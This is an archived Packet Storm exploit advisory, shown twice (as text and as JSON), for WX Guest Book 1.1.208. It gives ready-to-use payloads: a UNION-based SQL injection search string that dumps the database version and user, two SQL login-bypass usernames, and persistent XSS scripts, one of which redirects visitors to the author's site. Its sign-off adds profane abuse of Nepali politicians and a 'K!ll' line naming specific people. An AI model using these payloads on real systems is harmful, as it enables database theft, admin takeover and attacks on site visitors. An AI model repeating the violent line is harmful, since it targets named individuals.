Search...

WX Guest Book 1.1.208 SQL Injection / XSS

2009-09-21T00:00:00

ID PACKETSTORM:81494
Type packetstorm
Reporter learn3r
Modified 2009-09-21T00:00:00

Description

                                        
                                            `###########################################  
# WX Guest Book 1.1.208 Vulns #  
# By learn3r hacker from nepal #  
# damagicalhacker@gmail.com #  
###########################################  
  
Product name: WX Guestbook 1.1.208  
Product vendor: www.webilix.com  
  
This product suffers from multiple SQLi and persistent XSS vuln.  
  
############## SQL Search Vuln ###############  
  
The search parameters/queries we submit to the search.php are unsanitized and hence this can be compromised to SQLinject the server.  
  
SQL query:  
$signs = DB_Execute("SELECT * FROM `wxgb_signs` WHERE (`sign` LIKE '%" . $QUERY . "%') ORDER BY `code` DESC");  
  
The $QUERY is what we submit through search box so injecting this will sql inject the server.  
The following is the sample sql injection example.  
  
  
Sample search string: test%') UNION ALL SELECT 1,2,concat(@@version,0x3a,user(),database()),4,5,6,7,8,9,10,11,12/*  
  
############## SQL login bypass ###############  
The username and password fields are unsanitized and hence we can bypass the login systems.  
  
Username: admin'))/*  
Password: learn3r [or whatever]  
  
Or  
  
Username: ')) or 1=1/*  
Password: learn3r [or whatever]  
  
############## Persistent XSS Vulns ##############  
  
In the name field (I suppose as I don't understand arabic), you can inject XSS...  
&lt;script&gt;alert(String.fromCharCode(97));&lt;/script&gt;  
&lt;script&gt;location.replace("http://www.nepalihackerz.com.np")&lt;/script&gt;  
  
Greetz to: sToRm and m0nkee from #gny, sam207 from www.sampctricks.blogspot.com, nepali boka, l@d0_put! HaCKeR and all...  
FuCK MaKuNe, G!r!ja, Prachanda and all political leaders of Nepal  
K!ll Parmananda Jha, Upendra Yadav and Vijay Gachhedhaar  
  
By learn3r aka cyb3r lord  
Nepali Hackerz Are Not Dead!!!  
  
  
`

JSON Vulners Source

Initial Source

{"id": "PACKETSTORM:81494", "type": "packetstorm", "bulletinFamily": "exploit", "title": "WX Guest Book 1.1.208 SQL Injection / XSS", "description": "", "published": "2009-09-21T00:00:00", "modified": "2009-09-21T00:00:00", "cvss": {"vector": "NONE", "score": 0.0}, "href": "https://packetstormsecurity.com/files/81494/WX-Guest-Book-1.1.208-SQL-Injection-XSS.html", "reporter": "learn3r", "references": [], "cvelist": [], "lastseen": "2016-11-03T10:27:21", "viewCount": 1, "enchantments": {"score": {"value": -0.0, "vector": "NONE", "modified": "2016-11-03T10:27:21", "rev": 2}, "dependencies": {"references": [], "modified": "2016-11-03T10:27:21", "rev": 2}, "vulnersScore": -0.0}, "sourceHref": "https://packetstormsecurity.com/files/download/81494/wxguestbook-sqlxss.txt", "sourceData": "`########################################### \n# WX Guest Book 1.1.208 Vulns # \n# By learn3r hacker from nepal # \n# damagicalhacker@gmail.com # \n########################################### \n \nProduct name: WX Guestbook 1.1.208 \nProduct vendor: www.webilix.com \n \nThis product suffers from multiple SQLi and persistent XSS vuln. \n \n############## SQL Search Vuln ############### \n \nThe search parameters/queries we submit to the search.php are unsanitized and hence this can be compromised to SQLinject the server. \n \nSQL query: \n$signs = DB_Execute(\"SELECT * FROM `wxgb_signs` WHERE (`sign` LIKE '%\" . $QUERY . \"%') ORDER BY `code` DESC\"); \n \nThe $QUERY is what we submit through search box so injecting this will sql inject the server. \nThe following is the sample sql injection example. \n \n \nSample search string: test%') UNION ALL SELECT 1,2,concat(@@version,0x3a,user(),database()),4,5,6,7,8,9,10,11,12/* \n \n############## SQL login bypass ############### \nThe username and password fields are unsanitized and hence we can bypass the login systems. \n \nUsername: admin'))/* \nPassword: learn3r [or whatever] \n \nOr \n \nUsername: ')) or 1=1/* \nPassword: learn3r [or whatever] \n \n############## Persistent XSS Vulns ############## \n \nIn the name field (I suppose as I don't understand arabic), you can inject XSS... \n<script>alert(String.fromCharCode(97));</script> \n<script>location.replace(\"http://www.nepalihackerz.com.np\")</script> \n \nGreetz to: sToRm and m0nkee from #gny, sam207 from www.sampctricks.blogspot.com, nepali boka, l@d0_put! HaCKeR and all... \nFuCK MaKuNe, G!r!ja, Prachanda and all political leaders of Nepal \nK!ll Parmananda Jha, Upendra Yadav and Vijay Gachhedhaar \n \nBy learn3r aka cyb3r lord \nNepali Hackerz Are Not Dead!!! \n \n \n`\n"}